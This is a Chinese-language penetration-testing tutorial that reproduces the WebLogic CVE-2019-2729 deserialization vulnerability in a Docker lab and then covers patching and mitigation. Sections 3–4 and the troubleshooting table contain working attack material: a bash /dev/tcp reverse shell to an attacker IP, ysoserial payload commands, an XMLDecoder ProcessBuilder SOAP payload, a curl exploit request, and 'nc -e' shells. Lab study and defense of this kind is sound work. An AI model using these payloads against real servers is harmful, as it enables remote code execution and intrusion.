1. 项目概述:一次对经典反序列化漏洞的深度剖析
最近在整理内部安全资产时,又翻到了WebLogic CVE-2019-2729这个老漏洞。虽然它已经是2019年的“旧闻”,但在很多企业的老旧系统中,它依然是一个不容忽视的“沉睡的雷”。很多安全工程师在面试时会被问到相关原理,但真正动手从零搭建环境、触发漏洞、分析流量再到提出修复方案的人,可能并不多。今天,我就以一个一线渗透测试工程师的视角,带大家完整地走一遍这个漏洞的实战流程。这不仅仅是一次复现,更是一次理解WebLogic核心组件、Java反序列化利用链以及企业级修复思路的深度旅程。无论你是刚入门的安全爱好者,还是需要应对内部审计的运维人员,这篇指南都能给你提供从理论到实操的完整参考。
2. 漏洞核心原理与影响范围解析
2.1 CVE-2019-2729究竟是什么?
简单来说,CVE-2019-2729是Oracle WebLogic Server中一个基于XML反序列化的远程代码执行漏洞。它不是一个独立的漏洞,而是对另一个著名漏洞CVE-2019-2725(也称为“WebLogic WLS Core Components反序列化漏洞”)的绕过补丁的再绕过。Oracle最初通过补丁修复了2725,但安全研究人员发现补丁存在缺陷,攻击者可以通过构造特殊的XML请求,再次触发反序列化过程,从而在目标服务器上执行任意代码。
这个漏洞的根源在于WebLogic的wls9_async_response和wls-wsat两个组件。它们提供了Web服务异步通信和WS-AtomicTransaction支持,但在处理SOAP消息时,对传入的XML数据反序列化操作过滤不严。攻击者可以将恶意的Java对象序列化后的数据,封装在特定的SOAP消息中,发送到这两个组件的特定端点。WebLogic服务器在解析这些消息时,会触发反序列化操作,进而执行嵌入在对象中的恶意代码。
2.2 影响版本与严重性
该漏洞影响范围甚广,波及了多个主流版本的WebLogic Server:
- WebLogic Server 10.3.6.0
- WebLogic Server 12.1.3.0
- WebLogic Server 12.2.1.3
如果你的线上环境正在使用这些版本,并且没有安装2019年4月之后的关键补丁,那么你的服务器就处于风险之中。该漏洞的CVSS评分高达9.8(临界级别),因为它无需任何身份认证即可通过网络远程利用,危害极大。攻击者成功利用后,可以获得与WebLogic服务进程(通常是weblogic用户)相同的权限,这意味着他们可以读写服务器文件、植入后门、执行系统命令,甚至以此为基础进行内网横向移动。
注意:很多企业认为将WebLogic管理控制台端口(默认为7001)不暴露在公网就安全了。但这是一个误区。
/wls-wsat/CoordinatorPortType和/wls-wsat/RegistrationPortTypeRPC等漏洞端点通常与应用一起部署在同一个端口(如7001),只要业务端口对外,漏洞就可能被利用。内网环境同样面临横向攻击的风险。
3. 漏洞复现环境搭建与准备
3.1 靶机环境配置
为了安全地研究漏洞,我们必须在隔离的环境中搭建靶场。我推荐使用Docker,它快速、干净且易于重置。
拉取漏洞镜像:社区有维护好的漏洞环境镜像,我们直接使用。打开终端,执行以下命令:
docker pull vulhub/weblogic:10.3.6.0-2017这个镜像基于WebLogic 10.3.6.0,并包含了未打补丁的漏洞环境。
启动容器:运行以下命令启动WebLogic服务器。我们将容器内的7001端口映射到宿主机的
7080端口,避免与本地可能存在的服务冲突。docker run -d -p 7080:7001 --name weblogic-2729 vulhub/weblogic:10.3.6.0-2017执行后,使用
docker ps命令确认容器已正常运行。访问验证:在浏览器中打开
http://your-host-ip:7080/console。如果你看到WebLogic管理控制台的登录页面,说明环境启动成功。初始用户名密码通常是weblogic/weblogic123(具体请查阅镜像文档)。对于漏洞复现,我们不需要登录控制台。
3.2 攻击机工具准备
攻击机需要准备必要的漏洞利用工具和Java环境。
Java环境:确保攻击机安装了JDK 8。因为大部分利用工具和Payload生成都依赖于Java 8的库。可以通过
java -version检查。漏洞利用工具:推荐使用集成化的工具,例如
weblogic-framework或者手动使用ysoserial。这里我们以经典的ysoserial为例进行手动利用演示,这有助于理解底层原理。- 从GitHub下载
ysoserial.jar。 - 准备一个用于生成反弹Shell命令的脚本或直接使用编码后的命令。我们需要一个监听器来接收反弹的Shell。
- 从GitHub下载
网络监听工具:在攻击机上使用
nc(Netcat) 或rlwrap来开启一个监听端口,等待目标服务器反弹连接。rlwrap -cAr nc -lvnp 9999这条命令在9999端口开启了一个带历史记录和行编辑功能的监听。
3.3 关键端点探测
在发起攻击前,我们需要确认目标服务器上存在漏洞端点。使用浏览器或curl命令访问以下URL:
http://your-target-ip:7080/wls-wsat/CoordinatorPortTypehttp://your-target-ip:7080/_async/AsyncResponseService
如果返回类似“WS-AtomicTransaction”的WSDL页面或者404页面(但服务实际存在),则说明该组件已启用,可能存在风险。如果返回404 Not Found,则可能该服务未被部署,但这并不绝对安全,因为其他路径也可能存在类似问题。
4. 漏洞利用过程深度拆解
4.1 构造恶意序列化Payload
漏洞利用的核心是构造一个特殊的SOAP消息,其主体部分包含了一个经过序列化的、利用特定Gadget链的恶意Java对象。我们使用ysoserial工具来生成这个Payload。
ysoserial包含了多种针对不同Java库的利用链(Gadget Chains)。对于WebLogic CVE-2019-2729,常用的链是CommonsCollections系列(如CommonsCollections1、CommonsCollections2)或Jdk7u21。这里以CommonsCollections1为例,因为它通用性较强。
假设我们的攻击机IP是192.168.1.100,监听端口是9999。我们需要生成一个执行反弹Shell命令的Payload。
第一步:生成反弹Shell的Base64编码命令(避免特殊字符问题)在Linux下,我们可以用Python快速生成:
python -c "import base64; cmd = 'bash -i >& /dev/tcp/192.168.1.100/9999 0>&1'; print(base64.b64encode(cmd.encode()).decode())"这会输出一串Base64编码的字符串。
第二步:使用ysoserial生成序列化对象我们将编码后的命令嵌入到Payload中。注意,这里我们假设目标服务器的bash路径是/bin/bash。
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin这条命令做了以下几件事:
CommonsCollections1指定了利用链。- 双引号内是要执行的系统命令。这里使用了一个巧妙的技巧:命令先通过
echo输出Base64编码的反弹Shell指令,然后通过管道传递给base64 -d解码,最后交给bash -i执行。这种方式能有效处理命令中的重定向等特殊符号。 > payload.bin将生成的二进制序列化数据保存到payload.bin文件中。
实操心得:在实际渗透测试中,直接执行
bash -i >& /dev/tcp/...这种命令可能会因为环境差异(如/dev/tcp不支持)或字符转义问题失败。使用Base64编码是一种更稳健的方法。另外,一定要先在本地的测试容器里试通命令,确保Payload能正确执行。
4.2 构建并发送恶意SOAP请求
生成的payload.bin是二进制的,我们需要将其嵌入到一个符合格式的SOAP XML消息中,并发送到漏洞端点。
构造POST请求的XML主体模板:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.1.100/9999 0>&1</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>这是一个简化的示例。实际上,针对CVE-2019-2729的利用,需要将payload.bin的内容进行Base64编码后,填充到XML中特定的位置,通常是在<java>标签内嵌入<object serialization="custom">等结构,来触发XMLDecoder对恶意序列化数据的解析。
更常见的做法是使用自动化脚本,因为手动构造极其复杂且容易出错。你可以使用网上公开的PoC脚本(例如用Python编写的),其核心步骤是:
- 读取
payload.bin文件。 - 将其进行Base64编码。
- 将编码后的字符串嵌入到一个预定义的SOAP请求模板的特定位置。
- 设置正确的HTTP头,特别是
Content-Type: text/xml。 - 将完整的HTTP POST请求发送到目标URL,例如
http://target:7080/wls-wsat/CoordinatorPortType。
使用curl发送请求的示意命令如下:
curl -X POST http://192.168.1.200:7080/wls-wsat/CoordinatorPortType \ -H "Content-Type: text/xml" \ -H "SOAPAction: \"\"" \ --data-binary @malicious_request.xml其中malicious_request.xml就是包含了嵌入Payload的完整SOAP请求文件。
4.3 接收反弹Shell与验证
如果一切顺利,在发送恶意请求后,你应该能在攻击机的Netcat监听窗口(之前运行的nc -lvnp 9999)中看到来自目标WebLogic服务器的连接,并获得一个反向Shell。
$ rlwrap -cAr nc -lvnp 9999 listening on [any] 9999 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.200] 34256 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@container-id:/# whoami root@container-id:/# id uid=0(root) gid=0(root) groups=0(root)看到命令提示符,并且能执行whoami、id等命令,就证明漏洞利用成功,我们已经获得了目标容器(或服务器)的权限。在Docker容器里通常是root,在真实物理机或虚拟机中,通常是weblogic或oracle用户。
5. 漏洞修复与加固方案
复现漏洞是为了更好地防御它。对于企业运维和安全团队来说,如何修复和防范CVE-2019-2729这类漏洞才是重中之重。
5.1 官方补丁升级(首选方案)
最根本、最有效的修复方式是安装Oracle官方发布的安全补丁。
- 确定补丁号:针对CVE-2019-2729,Oracle在2019年4月的关键补丁更新(CPU)中进行了修复。你需要根据你的WebLogic具体版本,查找对应的补丁号。例如,对于 10.3.6.0,可能需要安装补丁
JUJU-32010或更高版本的累积补丁。 - 下载补丁:从Oracle官方支持网站(My Oracle Support)下载对应的补丁集。这需要有效的支持合同。
- 应用补丁:按照Oracle的官方文档,使用OPatch工具应用补丁。基本步骤通常包括:
- 备份当前WebLogic安装目录和域目录。
- 停止所有WebLogic服务(管理服务器和受管服务器)。
- 应用OPatch:
opatch apply。 - 重新启动WebLogic服务,并验证版本和补丁是否生效。
注意事项:打补丁前务必在测试环境充分验证,确保补丁不会与现有应用产生兼容性问题。同时,补丁管理应常态化,定期关注Oracle的关键补丁更新公告。
5.2 临时缓解措施
如果因为各种原因无法立即安装补丁,可以采取以下临时缓解措施来阻断攻击路径,这些措施同样适用于其他类似漏洞的防护。
删除或禁用漏洞组件:这是最直接的临时方法。找到WebLogic域目录下的
$DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal和$DOMAIN_HOME/servers/AdminServer/tmp/.internal等目录,删除wls-wsat.war和async.war这两个应用包。或者,在管理控制台中直接卸载这两个应用。- 操作路径示例:
rm -rf /path/to/weblogic/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat rm -rf /path/to/weblogic/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/async- 重启WebLogic服务后生效。
网络访问控制(ACL):在防火墙或Web服务器(如Nginx、Apache)层面,配置访问控制列表,禁止外部IP访问漏洞路径。
- Nginx示例:
location ~ ^/(_async|wls-wsat) { deny all; return 404; }- Apache示例:
<LocationMatch "^/(_async|wls-wsat)"> Order deny,allow Deny from all </LocationMatch>这可以将针对这些路径的请求直接拦截在WebLogic之外。
启用WebLogic网络通道过滤:在WebLogic控制台中,可以配置网络访问过滤器(Network Access Filter),只允许受信任的IP地址访问管理端口或特定服务。
5.3 长期安全加固建议
打补丁和临时屏蔽只是“治标”,要“治本”还需要建立长期的安全体系。
- 最小权限原则:运行WebLogic服务的操作系统用户(如
weblogic)不应具有过高权限。避免使用root用户运行。严格限制该用户对文件系统的读写权限。 - 网络隔离与分层防御:WebLogic管理控制台(7001端口)绝对不要直接暴露在互联网。业务前端应通过反向代理(如Nginx)接入,并在代理层设置严格的WAF规则,过滤可疑的SOAP/XML请求内容。
- 定期安全评估与漏洞扫描:将WebLogic服务器纳入常规的漏洞扫描和渗透测试范围。使用专业的SCA(软件成分分析)工具检查中间件依赖库的已知漏洞。
- 日志审计与监控:开启WebLogic的详细访问日志和安全审计日志。监控对
/_async/*和/wls-wsat/*路径的访问尝试,特别是来自异常IP的POST请求。结合SIEM系统,建立针对反序列化攻击特征的告警规则(例如,检测HTTP请求体中包含java.lang.ProcessBuilder、Runtime.exec等特征字符串)。 - 考虑升级或迁移:对于仍在运行WebLogic 10.3.6等非常老旧版本的环境,应制定计划升级到受支持的、更新版本的WebLogic,或评估迁移至其他应用服务器(如Tomcat, JBoss EAP等)的可能性。新版本通常包含了更多的安全特性和对历史漏洞的修复。
6. 实战中常见问题与排查技巧
在实际操作中,你可能会遇到各种问题。下面是我在多次复现和测试中总结的一些常见坑点及解决方法。
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 发送Payload后,Netcat监听端口无连接 | 1. Payload生成错误(命令、利用链不匹配)。 2. 目标漏洞端点路径不正确或服务未启用。 3. 防火墙/安全组规则拦截了反弹连接。 4. 目标服务器出网受限。 | 1.本地验证Payload:尝试在生成Payload的同一台机器上,用java -jar ysoserial.jar CommonsCollections1 “touch /tmp/test”生成一个创建文件的Payload,在测试环境中验证是否能成功。这是最有效的定位方法。2.确认端点:用 curl -v访问疑似端点,查看返回状态码和内容。或者检查WebLogic的部署应用列表。3.检查网络:在目标服务器上尝试用 telnet或nc连接攻击机的监听端口,看是否能通。确保攻击机防火墙已放行相应端口。4.尝试不同利用链:换用 CommonsCollections2、Jdk7u21等其他链试试。 |
| 收到连接但立即断开,或无交互式Shell | 1. 反弹Shell命令在目标环境不兼容(如目标为Alpine Linux无bash,或/dev/tcp不可用)。2. Payload中的命令执行成功,但进程在后台退出。 | 1.适配目标OS:如果目标是Windows,需使用powershell或cmd的Payload。对于精简Linux,尝试使用sh或nc命令。例如:java -jar ysoserial.jar CommonsCollections1 “nc 192.168.1.100 9999 -e /bin/sh”。2.使用稳定Shell:考虑使用更稳定的反弹Shell方式,如使用 python、php或perl的一行命令。或者使用msfvenom生成一个Linux Meterpreter的Payload,通过java执行下载并运行。 |
| 返回500内部服务器错误 | 1. SOAP请求格式不正确,XML结构错误。 2. 序列化数据在嵌入XML时格式损坏(如特殊字符未转义)。 3. 目标服务器已安装补丁,漏洞已修复。 | 1.检查XML格式:使用XML验证工具检查构造的请求文件是否符合SOAP规范。确保标签闭合正确,命名空间声明无误。 2.检查数据嵌入:确保二进制Payload经过正确的Base64编码,并且编码后的字符串被完整、正确地放置在XML的CDATA区块或经过适当转义的文本节点中。 3.验证补丁状态:这是最可能的原因。尝试其他已知未修复的漏洞(如CVE-2017-10271)进行验证,或检查WebLogic版本和补丁信息。 |
| 工具执行报错“Gadget chain not found” | 使用的ysoserial版本不支持对应的利用链,或链名称拼写错误。 | 确保使用最新版本的ysoserial。使用java -jar ysoserial.jar查看帮助,列出所有可用的Gadget Chains,确认你输入的链名存在且拼写正确。 |
独家避坑技巧:
- “搭环境”比“打利用”更花时间:Docker镜像虽然方便,但有时网络问题或镜像版本不对会导致服务启动异常。多准备几个不同的漏洞镜像源(如vulhub, vulapps等)。如果Docker不行,可以尝试用虚拟机手动安装WebLogic 10.3.6,过程繁琐但可控。
- 善用Wireshark或tcpdump:在攻击机和靶机之间抓包,能清晰地看到你发出的HTTP请求和响应。当遇到500错误时,响应包里可能包含更有价值的错误信息(如Java异常栈),这比只看状态码有用得多。
- 理解漏洞的本质是绕过补丁:CVE-2019-2729是对补丁的绕过。可以尝试先复现CVE-2019-2725,理解最初的漏洞原理和补丁修复点(如黑名单过滤了某些类),然后再看2729是如何构造Payload来绕过这些过滤的。这样学习,对Java反序列化漏洞的理解会深刻很多。
- 企业内网的盲打:在内网渗透时,可能遇到大量WebLogic服务器。可以编写一个简单的Python脚本,批量扫描7001端口,并自动发送一个无害的探测Payload(例如执行
ping命令到一台不存在的DNS记录,通过DNS日志判断是否执行),来快速定位存在漏洞的机器。切记,所有测试必须在授权范围内进行。